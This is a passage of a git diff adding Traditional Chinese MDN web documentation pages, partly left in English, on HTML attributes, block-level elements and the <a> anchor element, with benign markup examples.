+   <td>定義鍵盤快捷鍵來啟動或添加焦點到該元素。</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>一個程序處理經由該格式提交信息的 URI。</td>
+  </tr>
+  <tr>
+   <td><code>align</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+   <td>指定元素的水平對齊方式。</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>
+    <p>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</p>
+   </td>
+   <td>在圖像無法顯示的情況下，顯示代替文本。</td>
+  </tr>
+  <tr>
+   <td><code>async</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>指定該腳本應該被不同步得執行。</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>指定是否以該格式控制，可以在默認情況下由瀏覽器自動完成其值。</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>該元素應該在頁面加載後自動焦距。</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>音頻或視頻應該越早撥放越好。</td>
+  </tr>
+  <tr>
+   <td><code>autosave</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>上一個值應該持續存在到跨頁面加載的可選值之下拉列表中。</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code></td>
+   <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+   <td>
+    <p>元素的背景顏色。</p>
+
+    <p>注意 : 這是一個傳統的屬性。請使用 CSS {{ Cssxref("background-color") }} 特性。</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="內容與IDL屬性">內容與IDL屬性</h2>
+
+<p>在 HTML 中，大部分的屬性有兩種面向 :<strong> 內容屬性</strong>與 <strong>IDL 屬性</strong>。</p>
+
+<p>內容屬性是您可以從內容中設定的屬性 (HTML 程式碼) 而且您可以藉由 {{domxref("element.setAttribute()")}} 或是 {{domxref("element.getAttribute()")}} 來設定它或得到它。內容屬性永遠都是字串，即便我們所期望的值是一個整數。舉例來說，假設今天要用內容屬性去設定一個 {{HTMLElement("input")}} 元素的最大長度是42，您必須在該元素上呼叫 setAttribute("maxlength", "42")。</p>
+
+<p>IDL 屬性也被稱為 JavaScript 特性。您可以使用 JavaScript 特性的 element.foo 以閱讀或是設定這些屬性。當您要得到 IDL 屬性時，它總是要使用 (但可能改變) 基本的內容屬性以返回值，而當您要設定 IDL 屬性時，它需要儲存資料在內容屬性中。換句話說，IDL 屬性在本質上反映了內容屬性。</p>
+
+<p>在大部分的時間中，當 IDL 屬性真正被使用時，將會返回它們的值。舉例而言，{{HTMLElement("input")}} 元素的預設型態是 "text"，所以如果您設定 input.type="foobar"，&lt;input&gt; 元素一樣是 text 的型態 (在外觀和行為上而言)，但是 "type" 內容屬性的值將會變成 "foobar"。然而，IDL 屬性的型態將會回傳 "text" 字串。</p>
+
+<p>IDL 屬性並非永遠的字串 ; 舉例來說，input.maxlength 便是一個數字(型態為 signed long)。當使用 IDL 屬性，您會閱讀或是設定所需的型態，而當您設定 input.maxlength 時，它總是回傳一個數字，因為它正需要一個數字。如果您傳入別的型態，它會依照標準 JavaScript 型態轉換規則，將傳入值轉成一個數字。</p>
+
+<p>IDL 屬性可以 <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">反應其他型態</a>，例如 unsigned long、URLs、booleans，等等。不幸的是，並沒有明確的規則來規範，而且與 IDL 屬性行為相對應的內容屬性連結中，也沒有取決於該屬性的方式。在大部分的時間裡，它會遵守 <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">規範中所制定的規則</a>，但有時候它並不會。HTML 規範嘗試讓它變得容易使用，但由於各種原因 (大多是因為歷史)，有些屬性表現得很奇怪 (舉例來說，select.size)，而您應該詳細閱讀規範以了解各個屬性的行為。</p>
+
+<h2 id="另請參見">另請參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/HTML/Element" title="/en-US/docs/HTML/Element">HTML 元素</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/block-level_elements/index.html b/files/zh-tw/web/html/block-level_elements/index.html
new file mode 100644
index 0000000000..32d8a405b0
--- /dev/null
+++ b/files/zh-tw/web/html/block-level_elements/index.html
@@ -0,0 +1,130 @@
+---
+title: 區塊級元素
+slug: Web/HTML/Block-level_elements
+translation_of: Web/HTML/Block-level_elements
+---
+<p><span class="seoSummary">HTML (</span>超文字標記語言, <span class="seoSummary"><strong>Hypertext Markup Language</strong>) 元素通常為 "區塊級" 元素或是 <a href="/en-US/docs/HTML/Inline_elements" title="/en-US/docs/HTML/inline_elements">"行內" 元素</a>。 一個區塊級元素會藉由建立"區塊"的動作, 完全佔滿其父元素(容器)的空間。本文將為您說明其意涵.</span></p>
+
+<p>瀏覽器預設以在元素前後換行的方式, 表現區塊級元素. 視覺上會呈現為一排縱向堆疊的方塊。</p>
+
+<div class="note">
+<p>區塊級元素必定以換行方式, 取得完整寬度的空間(向左右兩側儘可能地延伸出去)。</p>
+</div>
+
+<p>以下範例將展示區塊級元素的影響:</p>
+
+<h2 id="Block-level_Example" name="Block-level_Example">區塊級元素</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;This paragraph is a block-level element; its background has been colored to display the paragraph's parent element.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p { background-color: #8ABB55; }
+</pre>
+
+<p>{{ EmbedLiveSample('Block-level_Example') }}</p>
+
+<h2 id="用法">用法</h2>
+
+<ul>
+ <li>區塊級元素只能出現於 {{ HTMLElement("body") }} 元素之內.</li>
+</ul>
+
+<h2 id="區塊級_vs._行內元素">區塊級 vs. 行內元素</h2>
+
+<p>There are a couple of key differences between block-level elements and inline elements:</p>
+
+<dl>
+ <dt>Formatting</dt>
+ <dd>By default, block-level elements begin on new lines, but inline elements can start anywhere in a line.</dd>
+ <dt>Content model</dt>
+ <dd>Generally, block-level elements may contain inline elements and other block-level elements. Inherent in this structural distinction is the idea that block elements create "larger" structures than inline elements.</dd>
+</dl>
+
+<p>The distinction of block-level vs. inline elements is used in HTML specifications up to 4.01. In HTML5, this binary distinction is replaced with a more complex set of <a href="/en-US/docs/HTML/Content_categories" title="/en-US/docs/HTML/Content_categories">content categories</a>. The "block-level" category roughly corresponds to the category of <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="/en-US/docs/HTML/Content_categories#Flow_content">flow content</a> in HTML5, while "inline" corresponds to <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, but there are additional categories.</p>
+
+<h2 id="相關元素">相關元素</h2>
+
+<p>The following is a complete list of all HTML block level elements (although "block-level" is not technically defined for elements that are new in HTML5).</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("address") }}</dt>
+ <dd>Contact information.</dd>
+ <dt>{{ HTMLElement("article") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Article content.</dd>
+ <dt>{{ HTMLElement("aside") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Aside content.</dd>
+ <dt>{{ HTMLElement("blockquote") }}</dt>
+ <dd>Long ("block") quotation.</dd>
+ <dt>{{ HTMLElement("canvas") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Drawing canvas.</dd>
+ <dt>{{ HTMLElement("dd") }}</dt>
+ <dd>Describes a term in a description list.</dd>
+ <dt>{{ HTMLElement("div") }}</dt>
+ <dd>Document division.</dd>
+ <dt>{{ HTMLElement("dl") }}</dt>
+ <dd>Description list.</dd>
+ <dt>{{ HTMLElement("dt") }}</dt>
+ <dd>Description list term.</dd>
+ <dt>{{ HTMLElement("fieldset") }}</dt>
+ <dd>Field set label.</dd>
+</dl>
+
+<dl>
+ <dt>{{ HTMLElement("figcaption") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Figure caption.</dd>
+ <dt>{{ HTMLElement("figure") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Groups media content with a caption (see {{ HTMLElement("figcaption") }}).</dd>
+ <dt>{{ HTMLElement("footer") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Section or page footer.</dd>
+ <dt>{{ HTMLElement("form") }}</dt>
+ <dd>Input form.</dd>
+ <dt>{{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}</dt>
+ <dd>Heading levels 1-6.</dd>
+ <dt>{{ HTMLElement("header") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Section or page header.</dd>
+ <dt>{{ HTMLElement("hgroup") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Groups header information.</dd>
+ <dt>{{ HTMLElement("hr") }}</dt>
+ <dd>Horizontal rule (dividing line).</dd>
+ <dt>{{ HTMLElement("li") }}</dt>
+ <dd>List item.</dd>
+ <dt>{{ HTMLElement("main") }}</dt>
+ <dd>Contains the central content unique to this document.</dd>
+ <dt>{{ HTMLElement("nav") }}</dt>
+ <dd>Contains navigation links.</dd>
+</dl>
+
+<dl>
+ <dt>{{ HTMLElement("noscript") }}</dt>
+ <dd>Content to use if scripting is not supported or turned off.</dd>
+ <dt>{{ HTMLElement("ol") }}</dt>
+ <dd>Ordered list.</dd>
+ <dt>{{ HTMLElement("output") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Form output.</dd>
+ <dt>{{ HTMLElement("p") }}</dt>
+ <dd>Paragraph.</dd>
+ <dt>{{ HTMLElement("pre") }}</dt>
+ <dd>Preformatted text.</dd>
+ <dt>{{ HTMLElement("section") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Section of a web page.</dd>
+ <dt>{{ HTMLElement("table") }}</dt>
+ <dd>Table.</dd>
+ <dt>{{ HTMLElement("tfoot") }}</dt>
+ <dd>Table footer.</dd>
+ <dt>{{ HTMLElement("ul") }}</dt>
+ <dd>Unordered list.</dd>
+ <dt>{{ HTMLElement("video") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Video player.</dd>
+</dl>
+</div>
+
+<h3 id="See_also" name="See_also"><br>
+ 參閱</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Inline_elements" title="en/HTML/Inline_elements">行內元素</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/element/a/index.html b/files/zh-tw/web/html/element/a/index.html
new file mode 100644
index 0000000000..91224a9318
--- /dev/null
+++ b/files/zh-tw/web/html/element/a/index.html
@@ -0,0 +1,313 @@
+---
+title: <a>
+slug: Web/HTML/Element/a
+translation_of: Web/HTML/Element/a
+---
+<p><span class="seoSummary"><strong>HTML <code>&lt;a&gt;</code> 元素</strong>（意為 Anchor）建立了通往其他頁面、檔案、Email 地址、或其他 URL 的超連結。</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流型內容</a>、<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, <a href="/zh-TW/docs/Web/Guide/HTML/Content_categories#interactive_content">interactive content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">內容省略</th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Transparent_content_model">Transparent</a>, containing either <a href="/zh-TW/docs/HTML/Content_categories#Flow_content">flow content</a> (excluding <a href="/zh-TW/docs/Web/Guide/HTML/Content_categories#interactive_content">interactive content</a>) or <a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的父元素</th>
+   <td>任何允許 <a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">phrasing content</a> 或 <a href="/zh-TW/docs/HTML/Content_categories#Flow_content">flow content</a> 的內容，但 &lt;a&gt; 永遠例外（according to the logical principle of symmetry, if &lt;a&gt; tag, as a parent, can not have <a href="/en-US/docs/Web/Guide/HTML/Content_categories#interactive_content">interactive content</a>, then the same &lt;a&gt; content can not have &lt;a&gt; tag as its parent）</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("button")}}, {{ARIARole("checkbox")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLAnchorElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>本元素包含<a href="/zh-TW/docs/HTML/Global_attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("download")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute instructs browsers to download a URL instead of navigating to it, so the user will be prompted to save it as a local file. If the attribute has a value, it is used as the pre-filled file name in the Save prompt (the user can still change the file name if they want). There are no restrictions on allowed values, though <code>/</code> and <code>\</code> are converted to underscores. Most file systems limit some punctuation in file names, and browsers will adjust the suggested name accordingly.
+ <div class="note"><strong>Notes:</strong>
+ <ul>
+  <li>This attribute only works for <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin URLs</a>.</li>
+  <li>This attribute can be used with <a href="/en-US/docs/Web/API/URL.createObjectURL"><code>blob:</code> URLs</a> and <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a> to download content generated by JavaScript, such as pictures created in an image-editor Web app.</li>
+  <li>If the HTTP header <a href="/en-US/docs/Web/HTTP/Headers/Content-Disposition"><code>Content-Disposition:</code></a> gives a different filename than this attribute, the HTTP header takes priority over this attribute.</li>
+  <li>If <code>Content-Disposition:</code> is set to <code>inline</code>, Firefox prioritizes <code>Content-Disposition</code>, like the filename case, while Chrome prioritizes the <code>download</code> attribute.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Contains a URL or a URL fragment that the hyperlink points to.</dd>
+ <dd>A URL fragment is a name preceded by a hash mark (<code>#</code>), which specifies an internal target location (an <a href="/en-US/docs/HTML/Global_attributes#attr-id">ID</a> of an HTML element) within the current document. URLs are not restricted to Web (HTTP)-based documents, but can use any protocol supported by the browser. For example, <a class="external" href="https://en.wikipedia.org/wiki/File_URI_scheme"><code>file:</code></a>, <code>ftp:</code>, and <code>mailto:</code> work in most browsers.</dd>
+ <dd>This attribute may be omitted (as of HTML5) to create a placeholder link. A placeholder link resembles a traditional hyperlink, but does not lead anywhere.
+ <div class="note">
+ <p><strong>Note:</strong> You can use <code>href="#top"</code> or the empty fragment <code>href="#"</code> to link to the top of the current page. <a href="https://www.w3.org/TR/html5/single-page.html#scroll-to-fragid">This behavior is specified by HTML5</a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>This attribute indicates the human language of the linked resource. It is purely advisory, with no built-in functionality. Allowed values are determined by <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>.</dd>
+ <dt>{{htmlattrdef("ping")}}</dt>
+ <dd>Contains a space-separated list of URLs to which, when the hyperlink is followed, {{HTTPMethod("POST")}} requests with the body <code>PING</code> will be sent by the browser (in the background). Typically used for tracking.</dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>Indicates which <a href="/en-US/docs/Web/HTTP/Headers/Referer">referrer</a> to send when fetching the URL:
+ <ul>
+  <li><code>'no-referrer'</code> means the <code>Referer:</code> header will not be sent.</li>
+  <li><code>'no-referrer-when-downgrade'</code> means no <code>Referer:</code> header will be sent when navigating to an origin without HTTPS. This is the default behavior.</li>
+  <li><code>'origin'</code> means the referrer will be the <a href="/en-US/docs/Glossary/Origin">origin</a> of the page, not including information after the domain.</li>
+  <li><code>'origin-when-cross-origin'</code> meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path.</li>
+  <li><code>'unsafe-url'</code> means the referrer will include the origin and path, but not the fragment, password, or username. This is unsafe because it can leak data from secure URLs to insecure ones.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>Specifies the relationship of the target object to the link object. The value is a space-separated list of <a href="/en-US/docs/Web/HTML/Link_types">link types</a>.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Specifies where to display the linked URL. It is a name of, or keyword for, a <em>browsing context</em>: a tab, window, or <code>&lt;iframe&gt;</code>. The following keywords have special meanings:
+ <ul>
+  <li><code>_self</code>: Load the URL into the same browsing context as the current one. This is the default behavior.</li>
+  <li><code>_blank</code>: Load the URL into a new browsing context. This is usually a tab, but users can configure browsers to use new windows instead.</li>
+  <li><code>_parent</code>: Load the URL into the parent browsing context of the current one. If there is no parent, this behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the URL into the top-level browsing context (that is, the "highest" browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this behaves the same way as <code>_self</code>.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note:</strong> When using <code>target</code>, consider adding <code>rel="noopener noreferrer"</code> to avoid exploitation of the <code>window.opener</code> API.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Specifies the media type in the form of a {{Glossary("MIME type")}} for the linked URL. It is purely advisory, with no built-in functionality.</dd>
+</dl>
+
+<h3 id="Obsolete">Obsolete</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>This attribute defined the <a href="/en-US/docs/Glossary/character_encoding">character encoding</a> of the linked URL. The value should be a space- and/or comma-delimited list of character sets defined in <a class="external" href="https://tools.ietf.org/html/rfc2045">RFC 2045</a>. The default value is <code>ISO-8859-1</code>.
+ <div class="note">
+ <p><strong>Usage note:</strong> This attribute is obsolete in HTML5 and <strong>should not be used by authors</strong>. To achieve its effect, use the HTTP <a href="/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type:</code></a> header on the linked URL.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("coords")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>For use with the below <code>shape</code> attribute, this attribute used a comma-separated list of numbers to define the coordinates of the link on the page.</dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>This attribute was required for anchors defining a possible target location within a page. In HTML 4.01, <code>id</code> and <code>name</code> could be used simultaneously on a <code>&lt;a&gt;</code> element as long as they have identical values.
+ <div class="note">
+ <p><strong>Usage note:</strong> This attribute is obsolete in HTML5, use the <a href="/en-US/docs/HTML/Global_attributes#attr-id">global attribute <code>id</code></a> instead.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("rev")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>This attribute specified a reverse link, the inverse relationship of the <strong>rel</strong> attribute. It was deprecated for being very confusing.</dd>
+ <dt>{{htmlattrdef("shape")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>This attribute was used to define a region for hyperlinks to create an image map. The values are <code>circle</code>, <code>default</code>, <code>polygon</code>, and <code>rect</code>. The format of the <strong>coords</strong> attribute depends on the value of shape. For <code>circle</code>, the value is <code>x,y,r</code> where <code>x</code> and <code>y</code> are the pixel coordinates for the center of the circle and <code>r</code> is the radius value in pixels. For <code>rect</code>, the <strong>coords</strong> attribute should be <code>x,y,w,h</code>. The <code>x,y</code> values define the upper-left-hand corner of the rectangle, while <code>w</code> and <code>h</code> define the width and height respectively. A value of <code>polygon</code> for <strong>shape</strong> requires <code>x1,y1,x2,y2,...</code> values for <strong>coords</strong>. Each of the <code>x,y</code> pairs defines a point in the polygon, with successive points being joined by straight lines and the last point joined to the first. The value <code>default</code> for shape requires that the entire enclosed area, typically an image, be used.
+ <div class="note"><strong>Note:</strong> Use the <a href="/en-US/docs/Web/HTML/Element/img#attr-usemap"><code>usemap</code> attribute</a> for the {{HTMLElement("img")}} element and the associated {{HTMLElement("map")}} element to define hotspots instead of the <code>shape</code> attribute.</div>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Linking_to_an_external_location">Linking to an external location</h3>
+
+<pre class="brush: html">&lt;!-- anchor linking to external file --&gt;
+&lt;a href="https://www.mozilla.com/"&gt;
+External Link
+&lt;/a&gt;
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p><a class="external" href="https://www.mozilla.com/">External Link</a></p>
+
+<h3 id="Linking_to_another_section_on_the_same_page">Linking to another section on the same page</h3>
+
+<pre class="brush: html">&lt;!-- links to element on this page with id="attr-href" --&gt;
+&lt;a href="#attr-href"&gt;
+Description of Same-Page Links
+&lt;/a&gt;
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p><a href="#attr-href">Description of Same Page Links</a></p>
+
+<h3 id="Creating_a_clickable_image">Creating a clickable image</h3>
+
+<p>This example uses an image to link to the MDN home page. The home page will open in a new browsing context, that is, a new page or a new tab.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org/en-US/" target="_blank"&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6851/mdn_logo.png"
+       alt="MDN logo" /&gt;
+&lt;/a&gt;
+</pre>
+
+<h4 id="Result_3">Result</h4>
+
+<figure>
+<p>{{EmbedLiveSample("Creating_a_clickable_image", "320", "64")}}</p>
+</figure>
+
+<h3 id="Creating_an_email_link">Creating an email link</h3>
+
+<p>It's common to create links that open in the user's email program to allow them to send a new message. This is done with a <code>mailto:</code> link. Here's a simple example:</p>
+
+<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Send email to nowhere&lt;/a&gt;</pre>
+
+<h4 id="Result_4">Result</h4>
+
+<p><a href="mailto:nowhere@mozilla.org">Send email to nowhere</a></p>
+
+<p>For additional details about the <code>mailto</code> URL scheme, such as including the subject, body, or other predetermined content, see <a href="/en-US/docs/Web/Guide/HTML/Email_links">Email links</a> or {{RFC(6068)}}.</p>
+
+<h3 id="Creating_a_phone_link">Creating a phone link</h3>
+
+<p>Offering phone links is helpful for users viewing web documents and laptops connected to phones.</p>
+
+<pre class="brush: html">&lt;a href="tel:+491570156"&gt;+49 157 0156&lt;/a&gt;</pre>
+
+<p>For additional details about the <code>tel</code> URL scheme, see {{RFC(3966)}}.</p>
+
+<h3 id="Using_the_download_attribute_to_save_a_&lt;canvas>_as_a_PNG">Using the <code>download</code> attribute to save a <code>&lt;canvas&gt;</code> as a PNG</h3>
+
+<p>If you want to let users download an HTML {{HTMLElement("canvas")}} element as an image, you can create a link with a <code>download</code> attribute and the canvas data as a file URL:</p>
+
+<pre class="brush: js">var link = document.createElement('a');
+link.textContent = 'download image';
+
+link.addEventListener('click', function(ev) {
+    link.href = canvas.toDataURL();
+    link.download = "mypainting.png";
+}, false);
+
+document.body.appendChild(link);</pre>
+
+<p>You can see this in action at <a href="https://jsfiddle.net/codepo8/V6ufG/2/">jsfiddle.net/codepo8/V6ufG/2/</a>.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>HTML 3.2 defines only the <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code>, and <code>title</code> attributes.</p>
+
+<h3 id="Accessibility_recommendations">Accessibility recommendations</h3>
+
+<p>Anchor tags are often abused with the <code>onclick</code> event to create pseudo-buttons by setting <strong>href</strong> to <code>"#"</code> or <code>"javascript:void(0)"</code> to prevent the page from refreshing. These values cause unexpected behavior when copying/dragging links, opening links in a new tabs/windows, bookmarking, and when JavaScript is still downloading, errors out, or is disabled. This also conveys incorrect semantics to assistive technologies (e.g., screen readers). In these cases, it is recommended to use a {{HTMLElement("button")}} instead. In general you should only use an anchor for navigation using a proper URL. </p>
+
+<h3 id="Clicking_and_focus">Clicking and focus</h3>
+
+<p>Whether clicking on an {{HTMLElement("a")}} causes it to become focused varies by browser and OS.</p>
+
+<table>
+ <caption>Does clicking on an {{HTMLElement("a")}} give it focus?</caption>
+ <tbody>
+  <tr>
+   <td>Desktop Browsers</td>
+   <th>Windows 8.1</th>
+   <th>OS X 10.9</th>
+  </tr>
+  <tr>
+   <th>Firefox 30.0</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+  <tr>
+   <th>Chrome ≥39<br>
+    (<a href="https://code.google.com/p/chromium/issues/detail?id=388666" title="Issue 388666: Focus anchor (A) elements on mousedown">Chromium bug 388666</a>)</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+  <tr>
+   <th>Safari 7.0.5</th>
+   <td style="background-color: silver;">N/A</td>
+   <td style="background-color: yellow;">Only when it has a <code>tabindex</code></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer 11</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Presto (Opera 12)</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Does tapping on an {{HTMLElement("a")}} give it focus?</caption>
+ <tbody>
+  <tr>
+   <td>Mobile Browsers</td>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+  <tr>
+   <th>Safari Mobile</th>
+   <td style="background-color: yellow;">Only when it has a <code>tabindex</code></td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td>???</td>
+   <td style="background-color: yellow;">Only when it has a <code>tabindex</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrer</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-a-element', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.2', '&lt;a&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
